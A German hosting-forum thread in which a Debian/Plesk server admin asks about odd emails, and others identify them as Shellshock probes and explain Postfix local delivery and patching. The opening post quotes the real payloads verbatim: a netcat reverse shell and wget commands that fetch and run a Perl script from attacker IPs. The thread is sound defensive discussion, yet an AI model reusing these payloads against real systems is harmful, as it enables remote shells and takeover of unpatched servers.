fragwürdige Mails nach fehlgeschlagenen Zugriffsversuchen

UserofSeven

New Member
Hallo zusammen,

ich habe kürzlich einen Server (u. a. Mailserver) in Betrieb genommen, der mit Plesk unter Debian 7 läuft. Es handelt sich um einen vServer bei Strato.

Seit einigen Tagen nun nehmen die gängigen Angriffsversuche (Testen verschiedenster Mail-Adressen, Login-Daten für den SMTP-Server, ausprobieren gängiger Webadresse für z. B. phpmyadmin, ...) wieder zu, was bei öffentlich erreichbaren Servern ja prinzipiell keine Seltenheit ist. Da es nicht mein erster Server ist nehme ich das hin und begleite das insbesondere die erste Zeit mit verstärktem Überprüfen der Log-Daten.

...Bis ich dann heute mittag drei sehr fragwürdige Mail auf eines meiner Mail-Konten erhielt.
Alle waren ohne Inhalt, hatten aber als Absender, Empfänger, CC, Betreff, Datum usw. folgende Zeilen:
Code:
() { :; }; nc -e /bin/sh 185.10.58.181 25;
oder
Code:
() { :; }; wget 185.10.58.181/VULNERABLE;
oder
Code:
() { :; }; wget 91.184.21.251/e.txt -O /tmp/e.txt;perl /tmp/e.txt 185.10.58.181 443;

Daraufhin habe ich im Log-File nachgesehen und habe folgendes Schema vorgefunden (für alle Mails ähnlich):
Code:
postfix/smtpd[11561]: connect from u16850951.onlinehome-server.com[74.208.184.251]
postfix/smtpd[11561]: 20B61F7E117D: client=u16850951.onlinehome-server.com[74.208.184.251]
/usr/lib/plesk-9.0/psa-pc-remote[1819]: Unable to get sender domain by sender mailname
postfix/cleanup[11565]: 20B61F7E117D: message-id=() { :; }; wget 185.10.58.181/VULNERABLE;
/usr/lib/plesk-9.0/psa-pc-remote[1819]: handlers_stderr: SKIP
/usr/lib/plesk-9.0/psa-pc-remote[1819]: SKIP during call 'check-quota' handler
postfix/qmgr[25586]: 20B61F7E117D: from=<support@mata.com>, size=783, nrcpt=1 (queue active)
postfix/cleanup[11565]: 77198F7E13DF: message-id=() { :; }; wget 185.10.58.181/VULNERABLE;
postfix/qmgr[25586]: 77198F7E13DF: from=<support@mata.com>, size=903, nrcpt=1 (queue active)
postfix/local[11567]: 20B61F7E117D: to=<root@localhost.localdomain>, orig_to=<root>, relay=local, delay=0.51, delays=0.49/0.01/0/0.01, dsn=2.0.0, status=sent (forwarded as 77198F7E13DF)
postfix/qmgr[25586]: 20B61F7E117D: removed
postfix-local[11569]: postfix-local: from=support@mata.com, to=<meine_Mail_Adr>, dirname=/var/qmail/mailnames
<. . .>
postfix-local[11569]: handlers_stderr: PASS
postfix-local[11569]: PASS during call 'spam' handler
postfix/smtpd[11561]: disconnect from u16850951.onlinehome-server.com[74.208.184.251]
dovecot: service=lda, user=<meine_Mail_Adr>, ip=[]. msgid=() { :; }; wget 185.10.58.181/VULNERABLE;: saved mail to INBOX
postfix/pipe[11568]: 77198F7E13DF: to=<<meine_Mail_Adr>>, orig_to=<root>, relay=plesk_virtual, delay=0.24, delays=0.01/0.01/0/0.22, dsn=2.0.0, status=sent (delivered via plesk_virtual service)
postfix/qmgr[25586]: 77198F7E13DF: removed

Das sieht für mich danach aus, als wenn es möglich war, über mein Server-Relay zu senden. Warum dann aber gerade mit diesem Inhalt und an mich und nicht gleich ins Internet? Und ich frage mich natürlich, wie das dann überhaupt möglich war, denn wie gesagt, alle anderen Zugriffe sind ins leere gelaufen (Authentifizierung fehlgeschlagen) und wurden nach nur wenigen Versuchen schon von Fail2Ban geblockt. Die Passwörter sind individuell zufallsgeneriert und dürften relativ sicher sein.

Zumindest dürfte der Server nicht kompromittiert sein, denn laut den anderen Logs waren die Zugriffsversuche z. B. auf SSH nicht erfolgreich. Die Mails aber verstehe ich trotzdem nicht.

Hat jemand von euch eine Idee, was das sein könnte? Ich zumindest habe so etwas noch nicht erlebt...

Danke und viele Grüße,
UserofSeven
 
Hi und willkommen im Club.

hab heut die selbe Mail nur mit einer anderen IP bekommen woraus hervorgeht, dass über unser Mail Server versucht wurde was nach aussen zu versenden.

Dies wurde vom Spamfilter geblockt und mir mitgeteilt.

Warscheinlich steckt hinter deiner und meiner IP das selbe System.

Entweder wird versucht die Systeme als Spamschleudern zu manipulieren so das valid Systeme Spammails versenden... oder jemand ärgert die Leute wieder mit verseuchten Systemen.

Für meinen Teil hab ich unser System gleich gecheckt und bisher nichts auffälliges endeckt.

MfG
 
Entweder wird versucht die Systeme als Spamschleudern zu manipulieren so das valid Systeme Spammails versenden... oder jemand ärgert die Leute wieder mit verseuchten Systemen.

Da wird das System daraufhin abgecheckt, ob es über den shellshock-Exploit angreifbar ist.
 
Hallo euch beiden und danke ersteinmal für die Begrüßung :)

Shellshock, du sagst es, nexus! Mir kam diese Zeichenfolge schon irgendwie bekannt vor, konnte es aber zuerst nicht zuordnen. Jetzt erinnere ich mich wieder, dass ich dazu vor einiger Zeit einen ausführlicheren Artikel gelesen habe...

Bleibt nun aber die Frage, wie diese Mail konkret zu mir gekommen ist. Ich denke das Schema, wie diese Mail vom Server verarbeitet wurde, unterscheidet sich z. T. von denen "normaler" Mails.
So ist folgende Zeile ja eher unüblich und dürfte theoretisch nur lokal funktionieren, was bedeuten würde, dass es ja doch einen Zugriff gegeben haben müsste (oder sehe ich das falsch?). Andererseits erfolgte per SMTP keine User-Authentifizierung, wie es eigentlich beim Senden passieren muss...
Code:
to=<root@localhost.localdomain>

Zumindest aber konnte ich bisher keine Anhaltspunkte dafür finden, dass diese Lücke ausgenutzt werden konnte. Da ich das System aktuell halte und somit diese Lücke schon lange geschlossen ist, hätte es mich auch sehr gewundert...

VG
UserofSeven
 
So ist folgende Zeile ja eher unüblich und dürfte theoretisch nur lokal funktionieren, [...]...
Code:
to=<root@localhost.localdomain>
Die meisten MTA dürften localhost.localdomain in mydestination stehen haben. Somit nehmen sie Mails dafür für die lokale Zustellung an. Und das ohne dass man erst herausfinden müsste, mit welchem Empfänger man den MTA dazu bringt die Mail anzunehmen.
 
Hallo zusammen,

habe auch seit letzten Woche einen V-Server bei Strato und habe ebenso dieser beiden Mails gestern bekommen. Da klopft anscheinend einer systematisch die IP Range ab. Eine Anfrage an Strato blieb bisher unbeantwortet. Ich frage mich nur warum so ein Angriff auf eine ganze Range durch die Intrusion Detection bei Strato nicht erkannt wird.

@elias5000 Kannst du kurz nochmal erklären wie diese Mails an root zugestellt werden konnten ?
 
Da klopft anscheinend einer systematisch die IP Range ab. [...] Ich frage mich nur warum so ein Angriff auf eine ganze Range durch die Intrusion Detection bei Strato nicht erkannt wird.

Ich weiß nicht, ob das damit zusammen hängt, aber wenn ich mir die SSL-Konfiguration des Strato-Server-Configcenters anschaue, dann sieht das für mich sicherheitstechnisch nicht sehr vertrauenserweckend aus. Nur Strato weiß, ob die Server nicht auch noch Shellshock-verwundbar sind...
 
Last edited by a moderator:
Heise Security hat es jetzt auch auf dem Schirm: Link

Hab meinen Server vorhin mal getestet mit dem Skript von shellshocker.net und er hat alle bestanden.

Check am besten deinen Server und wenn verwundbar aktualisierst du am besten via apt die bash - Anleitungen gibt es zu hauf dazu im Netz.
Bei älteren System hilft dieses Skript: deshellshock
 
@elias5000 Kannst du kurz nochmal erklären wie diese Mails an root zugestellt werden konnten ?
Ganz einfach:
* In deiner Konfiguration (main.cf) steht localhost.localdomain (und vermutlich auch localhost) in der Liste in mydestination.
* Alles, was dein Server für diese Domains bekommt, wird er also versuchen lokal zuzustellen.
* Jemand liefert eine Mail an deinem Postfix ein, die an root@localhost.localdomain adressiert ist.
* Dein Postfix stellt es lokal zu (lokale Zustellung kann ggf. auch Weiterleitung via Alias bedeuten)

Postfix kann auch Mails nicht nur zustellen oder weiterleiten sondern auch an Scripts und externe Programme übergeben. Ich vermute mal dass der Angriff auf die Weitergabe von Mails an externe Scripts abzielt.
 
Last edited by a moderator:
Check am besten deinen Server und wenn verwundbar aktualisierst du am besten via apt die bash

Wie gesagt, die Aktualisierungen sind seit Veröffentlichung installiert, er dürfte nicht verwundbar sein (und ist es laut den damals und zur Sicherheit jetzt noch einmal ausgeführten Tests auch nicht).

Aber auf jeden Fall Danke für eure Antworten und Erklärungen. Dann kann ich das jetzt also mehr oder weniger ignorieren...
 
Wie gesagt, die Aktualisierungen sind seit Veröffentlichung installiert, er dürfte nicht verwundbar sein (und ist es laut den damals und zur Sicherheit jetzt noch einmal ausgeführten Tests auch nicht).

Aber auf jeden Fall Danke für eure Antworten und Erklärungen. Dann kann ich das jetzt also mehr oder weniger ignorieren...

Hast du dich schonmal an den Stato Support gewendet ?
 
Hi,

Und was genau soll der Support hier machen?

Das ist genau der Punkt, bzgl. der Angriffe hat Strato damit ja nichts zu tun, denn es ist schließlich ein V-Server (also Selbstverwaltung mit Root-Rechten)...

Allerdings habe ich sie mal angeschrieben bzgl. der Sicherheit des Config-Centers. Antwort steht allerdings noch aus.

VG
UserofSeven
 
Ich vermute mal dass der Angriff auf die Weitergabe von Mails an externe Scripts abzielt.
Jain, er ziehlt auf Linux-Admins, welche ihre Logs mittels Bash-Scripten auswerten, wie es gerne für Monitoringtools, IPTables-Gefrickel, Logrotation, Logchecks, etc. gemacht wird.
Nebenbei trifft es auch Nutzer von Procmail und anderen Bash basierten Tools und auch manche CLI-Mailapps und Webmailer.

Gilt übrigens nicht nur für Mailserver, sondern für alle Dienste, inklusive Webserver, SSHd, VPN, Backuplösungen, etc.
Und nur weil eines dieser Programme nicht direkt in Bash geschrieben/programmiert ist, ist man längst noch nicht sicher, denn viele Tools rufen die Shell per exec und Co auf...

BTW: Die meisten "shellshock"-Prüfscripte sind fehlerhaft und/oder unvollständig und wer sich darauf verlässt, hat verloren...
 
Back
Top